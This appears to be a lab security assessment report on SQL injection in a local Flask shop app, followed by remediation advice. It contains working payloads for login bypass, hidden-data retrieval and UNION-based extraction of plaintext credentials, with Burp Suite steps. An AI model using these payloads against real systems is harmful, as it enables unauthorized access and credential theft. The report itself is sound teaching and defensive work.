

SQL INJECTION VULNERABILITY

Comprehensive Security Assessment Report Manual &

Burp Suite Testing

Table of Contents

Executive Summary	2
Testing Methodology.....	3
2.1 Manual Browser Testing	3
2.2 Burp Suite Testing	3
Vulnerability Findings.....	4
3.1 Issue 1: Authentication Bypass.....	4
3.3 Issue 3: Extracting User Credentials	7
Remediation Recommendations	9
Secure Code Examples	11
CONCLUSION	12

Executive Summary

This comprehensive security assessment identified **three critical SQL injection vulnerabilities** in the My Shop e-commerce application. All vulnerabilities were successfully exploited using both manual testing techniques and Burp Suite, demonstrating real-world attack scenarios.

Issue	Location	Severity	Exploited
Authentication Bypass	/login (POST)	CRITICAL	Yes
Hidden Data Retrieval	/products (GET)	HIGH	Yes
Credentials Extraction	/products (GET)	CRITICAL	Yes

Attack Capabilities Demonstrated:

- Complete authentication bypass - access system without credentials
- Unauthorized data access - retrieve hidden/unreleased products
- Database compromise - extract all usernames and passwords
- Potential for data modification and deletion
- Foundation for further attacks (privilege escalation, data exfiltration)

IMMEDIATE ACTION REQUIRED

These vulnerabilities represent an immediate and severe threat. Attackers can gain complete control of the application and database. We strongly recommend taking the application offline until these issues are resolved or implementing the recommended mitigations immediately.

Testing Methodology

This assessment employed multiple testing approaches to thoroughly evaluate the application's security posture and demonstrate real-world exploitation scenarios.

2.1 Manual Browser Testing

Manual testing was performed using standard web browsers (Chrome/Firefox) to simulate how a real attacker would interact with the application. This approach demonstrates that exploitation requires no special tools and can be performed by anyone with basic SQL knowledge.

Process:

- Identified input fields and parameters that interact with the database
- Tested various SQL injection payloads in each input
- Observed application behavior and error messages
- Crafted successful exploitation payloads
- Documented the complete attack chain

2.2 Burp Suite Testing

Burp Suite Community Edition was used to intercept, modify, and replay HTTP requests. This professional tool allows for precise manipulation of requests and systematic testing of injection points.

```
BURP SUITE CONFIGURATION:

1. Start Burp Suite Community Edition
  • Create a temporary project
  • Use Burp defaults

2. Configure Browser Proxy
  • Proxy: 127.0.0.1
  • Port: 8080
  • Install Burp CA certificate if needed

3. Enable Intercept
  • Proxy tab → Intercept → Intercept is on

4. Test Each Vulnerability:
  a) Authentication Bypass:
    • Navigate to /login
    • Intercept POST request
    • Modify username parameter

  b) Hidden Data / Credentials:
    • Navigate to /products
    • Intercept GET request
    • Modify category parameter
    • Send to Repeater for testing
```

Tools Used:

- **Proxy:** Intercept and modify HTTP requests in real-time
- **Repeater:** Manually test and refine injection payloads
- **Intruder:** Automated testing of multiple payloads
- **Comparer:** Compare responses to identify successful injections

Vulnerability Findings

3.1 Issue 1: Authentication Bypass

The login functionality contains a critical SQL injection vulnerability that allows complete authentication bypass. An attacker can gain unauthorized access to the system without knowing any valid credentials.

```
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
```

VULNERABLE: Direct string concatenation

```
query = f"SELECT username, password FROM users" \
        f" WHERE username = '{username}'" \
        f" AND password = '{password}'"
```

```
cursor.execute(query)
results = cursor.fetchall()
```

Vulnerability Details:

Location: app.py, /login endpoint (POST method)

Vulnerable Parameter: username (also password)

Root Cause: User input is directly concatenated into SQL query using f-strings

Attack Vector: SQL injection via login form

LOGIN FORM INPUT:

Username: admin' OR '1'='1

Password: anything

RESULTING SQL QUERY:

```
SELECT username, password FROM users
WHERE username = 'admin' OR '1'='1'
AND password = 'anything'
```

EXPLANATION:

The OR '1'='1' condition is always TRUE, making the entire WHERE clause TRUE, bypassing authentication completely.

RESULT: Authentication bypassed, redirected to dashboard

Manual Testing Steps:

1. Navigate to <http://localhost:5000/login>
2. In the username field, enter: admin' OR '1'='1
3. In the password field, enter any value (e.g., 'anything')
4. Click the Login button
5. Observe: Application redirects to dashboard (authentication successful)
6. Verification: Access granted without valid credentials

Burp Suite Testing Steps:

1. Configure browser to use Burp proxy (127.0.0.1:8080)
2. Navigate to the login page
3. Enter any credentials and click Login
4. In Burp Proxy tab, intercept the POST request
5. Modify the username parameter to: admin' OR '1'='1
6. Click 'Forward' to send the modified request
7. Observe: HTTP 302 redirect response indicates successful authentication
8. Follow the redirect to see dashboard access granted

Impact Assessment:

Severity: CRITICAL

Impact:

Complete authentication bypass
Unauthorized system access
No credentials required
Potential access to administrative functions
Foundation for further attacks

Business Impact:

Unauthorized access to customer data
Potential regulatory violations (GDPR, PCI-DSS)
Reputational damage
Legal liability

3.2 Issue 2: Retrieving Hidden Data

The products category filter is vulnerable to SQL injection, allowing attackers to bypass the released = 1 condition and retrieve unreleased products that should remain confidential.

```
@app.route('/products')
def products():
    category = request.args.get('category', '')
    column = 'name'
```

VULNERABLE: Direct string concatenation
if category == "All":
query = f"SELECT {column} FROM products WHERE released = 1"
else:
query = f"SELECT {column} FROM products\"
f" WHERE category = '{category}'\"
f" AND released = 1"

```
cursor.execute(query)
```

Vulnerability Details:

Location: app.py, /products endpoint (GET method)

Vulnerable Parameter: category

Root Cause: Category parameter directly concatenated into SQL WHERE clause

Attack Vector: SQL injection via URL query parameter

NORMAL REQUEST:

URL: /products?category=Gifts

Query: SELECT name FROM products

WHERE category = 'Gifts' AND released = 1

Result: Only released gifts shown

INJECTION REQUEST:

URL: /products?category=Gifts' OR 1=1--

Query: SELECT name FROM products

WHERE category = 'Gifts' OR 1=1--' AND released = 1

^^^^^^^^^^^^^^^^^^^^
(commented out)

RESULT: All products shown, including unreleased:

- Drone (unreleased)
- Prototype Watch (unreleased)
- VR Headset (unreleased)
- Unreleased Novel (unreleased)

Manual Testing Steps:

1. Navigate to <http://localhost:5000/products?category=Gifts>
2. Observe: Only released products are displayed (Teddy Bear, Perfume)
3. Modify URL to: <http://localhost:5000/products?category=Gifts' OR 1=1-->
4. Observe: Additional unreleased products now visible:
5. - Drone (unreleased)
6. - Prototype Watch (unreleased)
7. - VR Headset (unreleased)
8. - Unreleased Novel (unreleased)
9. Verification: Successfully bypassed the released=1 filter

Burp Suite Testing Steps:

1. Navigate to /products?category=Gifts
2. Send the request to Burp Repeater (Ctrl+R)
3. In Repeater, modify the category parameter
4. Test payload: Gifts' OR 1=1--
5. Click 'Send' and examine the response
6. Use Burp Comparer to highlight differences between:
7. - Normal response (only released products)
8. - Injected response (all products including unreleased)
9. Count the additional tags in the injected response
10. Confirm unreleased product names are present in the HTML

Unreleased Products Exposed:

Product Name	Category	Status	Should Be Hidden
Drone	Gifts	Unreleased (0)	Yes
Prototype Watch	Fashion	Unreleased (0)	Yes
VR Headset	Electronics	Unreleased (0)	Yes
Unreleased Novel	Books	Unreleased (0)	Yes

Impact Assessment:

Severity: HIGH

Impact:

- Exposure of confidential product information
- Business logic bypass
- Competitive intelligence leak
- Violation of release schedules

Business Impact:

- Loss of competitive advantage
- Premature product disclosure
- Marketing strategy compromise
- Potential financial impact from leaked information

3.3 Issue 3: Extracting User Credentials

Using UNION-based SQL injection on the same products endpoint, attackers can extract data from other database tables, including the users table containing all usernames and passwords. This represents a complete compromise of user credentials.

STEP 1: Extract Usernames

Payload: ' UNION SELECT username FROM users--

Query: SELECT name FROM products

WHERE category = '' UNION SELECT username FROM users--'...

Result: wiener, administrator

STEP 2: Extract Passwords

Payload: ' UNION SELECT password FROM users--

Result: bluecheese, supersecret

STEP 3: Extract Combined Credentials

Payload: ' UNION SELECT username || ':' || password FROM users--

Query: SELECT name FROM products WHERE category = ''

UNION SELECT username || ':' || password FROM users--'...

RESULT - COMPLETE CREDENTIALS EXPOSED:

wiener:bluecheese

administrator:supersecret

Vulnerability Details:

Location: app.py, /products endpoint (GET method)

Vulnerable Parameter: category

Attack Type: UNION-based SQL injection

Target: users table (username and password columns)

Additional Issue: Passwords stored in plaintext (major security flaw)

Multi-Stage Exploitation Process:

Stage 1: Extract Usernames

- URL: /products?category=' UNION SELECT username FROM users--
- Payload explanation: Empty category, UNION with users table, comment out rest
- Result: Usernames displayed as product names: 'wiener', 'administrator'
- Verification: User accounts identified **Stage 2: Extract Passwords**

- URL: /products?category=' UNION SELECT password FROM users--
- Result: Passwords displayed: 'bluecheese', 'supersecret'
- Critical finding: Passwords stored in plaintext (not hashed)
- Verification: Password values obtained **Stage 3: Extract Combined Credentials**

- URL: /products?category=' UNION SELECT username || ':' || password FROM users--
- Payload uses SQL string concatenation (||) to combine fields
- Result: Complete credentials in username:password format
- Credentials obtained:
 - - wiener:bluecheese
 - - administrator:supersecret

Burp Suite Testing Steps:

1. Navigate to /products?category=Electronics
2. Send request to Burp Intruder
3. Set payload position on category parameter value
4. Configure payload list with UNION SELECT variants:
 5. - ' UNION SELECT username FROM users--
 6. - ' UNION SELECT password FROM users--
 7. - ' UNION SELECT username || ':' || password FROM users--
8. Run Intruder attack
9. Sort results by response length to identify successful payloads
10. Extract credentials from successful responses
11. Use Repeater to confirm and refine extraction

Complete Credentials Extracted:

Username	Password	Account Type	Access Level
wiener	bluecheese	Standard User	Limited
administrator	supersecret	Administrator	Full System Access

Impact Assessment:

Severity: CRITICAL

Impact:

- Complete database compromise
- All user credentials exposed
- Administrator account compromised
- Passwords in plaintext (secondary vulnerability)
- Potential for account takeover
- Foundation for privilege escalation

Business Impact:

- Massive data breach
- Regulatory violations (GDPR, CCPA, etc.)
- User privacy compromise
- Severe reputational damage
- Legal liability and potential fines
- Complete loss of user trust

Remediation Recommendations

The following recommendations must be implemented immediately to address these critical vulnerabilities. These issues represent an existential threat to the application's security and must be prioritized above all other development work.

Priority 1: Immediate Actions (Within 24 Hours)

1. Use Parameterized Queries

Replace ALL string concatenation in SQL queries with parameterized queries (prepared statements). This is the single most effective defense against SQL injection.

2. Deploy Emergency Patch

Implement parameterized queries for all three vulnerable endpoints immediately. Test thoroughly in development before deploying to production.

3. Reset All Passwords

Force password reset for all users. Current passwords are compromised and stored insecurely.

4. Implement Password Hashing

Store passwords using bcrypt or Argon2 hashing algorithms. Never store passwords in plaintext.

Priority 2: Short-term Actions (Within 1 Week)

5. Input Validation

Implement strict input validation with whitelisting for all user inputs. Reject inputs containing SQL metacharacters.

6. Use ORM Framework

Consider migrating to an ORM like SQLAlchemy which provides built-in SQL injection protection.

7. Implement Least Privilege

Database accounts used by the application should have minimal necessary permissions. Create separate read-only and read-write accounts.

8. Enable SQL Query Logging

Log all SQL queries for monitoring and forensic analysis. Implement alerts for suspicious patterns.

Priority 3: Long-term Actions (Within 1 Month)

9. Web Application Firewall

Deploy a WAF with SQL injection detection rules as an additional layer of defense.

10. Security Code Review

Conduct comprehensive security code review of entire application to identify similar issues.

11. Security Testing Program

Implement regular security testing including automated SAST/DAST scanning and penetration testing.

12. Security Training

Provide secure coding training for all developers, focusing on OWASP Top 10 vulnerabilities.

Secure Code Examples

The following examples demonstrate secure coding practices that prevent SQL injection vulnerabilities. These patterns should be applied throughout the application.

VULNERABLE CODE (DO NOT USE):

```
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
```

SECURE CODE (USE THIS):

```
query = "SELECT * FROM users WHERE username = ?"
cursor.execute(query, (username,))
```

WHY IT'S SECURE:

- User input is passed as a parameter, not concatenated
- Database treats input as data, not SQL code
- Special characters are properly escaped
- SQL injection is prevented by design

ALWAYS USE:

- ✓ Parameterized queries (prepared statements)
- ✓ ORM frameworks (SQLAlchemy, Django ORM)
- ✓ Input validation with whitelisting
- x NEVER concatenate user input into SQL

Secure Login Implementation:

```
import hashlib import secrets @app.route('/login', methods=['GET', 'POST']) def
login(): if request.method == 'POST': username = request.form.get('username', '')
password = request.form.get('password', '') # Input validation if not username or
not password: return "Invalid input", 400 if len(username) > 50 or len(password) >
100: return "Input too long", 400 # Hash the password (use bcrypt in production)
password_hash = hashlib.sha256(password.encode()).hexdigest() # SECURE:
Parameterized query query = "SELECT id, username FROM users WHERE username = ? AND
password = ?" cursor.execute(query, (username, password_hash)) user =
cursor.fetchone() if user: session['user_id'] = user[0] session['username'] =
user[1] return redirect(url_for('dashboard')) else: return "Login failed", 401
```

Secure Products Query Implementation:

```
@app.route('/products') def products(): category = request.args.get('category',
'') # Input validation with whitelist valid_categories = ['All', 'Gifts', 'Fashion',
'Electronics', 'Books'] if category not in valid_categories: return "Invalid category",
400 conn = sqlite3.connect('shop.db') cursor = conn.cursor() # SECURE: Parameterized
queries if category == "All": query = "SELECT name FROM products WHERE released = 1"
cursor.execute(query) else: query = "SELECT name FROM products WHERE category = ? AND
released = 1" cursor.execute(query, (category,)) products = cursor.fetchall()
conn.close() return render_template('products.html', products=products,
category=category)
```

Key Security Principles:

- **Always use parameterized queries:** Never concatenate user input into SQL
- **Validate all input:** Whitelist acceptable values when possible
- **Use prepared statements:** Let the database handle parameter escaping
- **Apply least privilege:** Database accounts should have minimal permissions
- **Hash passwords:** Use bcrypt or Argon2, never store plaintext passwords
- **Implement logging:** Log all queries for monitoring and forensics
- **Use ORM frameworks:** SQLAlchemy, Django ORM provide built-in protection
- **Regular testing:** Include security testing in your development lifecycle

CONCLUSION

This assessment has identified three critical SQL injection vulnerabilities that represent an immediate and severe threat to the application. The vulnerabilities were demonstrated using both manual testing techniques and professional tools (Burp Suite), proving they can be exploited by attackers with varying levels of sophistication.

Immediate remediation is required. The recommended approach is to implement parameterized queries for all database interactions, deploy the fixes within 24 hours, and force a password reset for all users.

Regular security testing should be implemented to prevent similar issues in the future.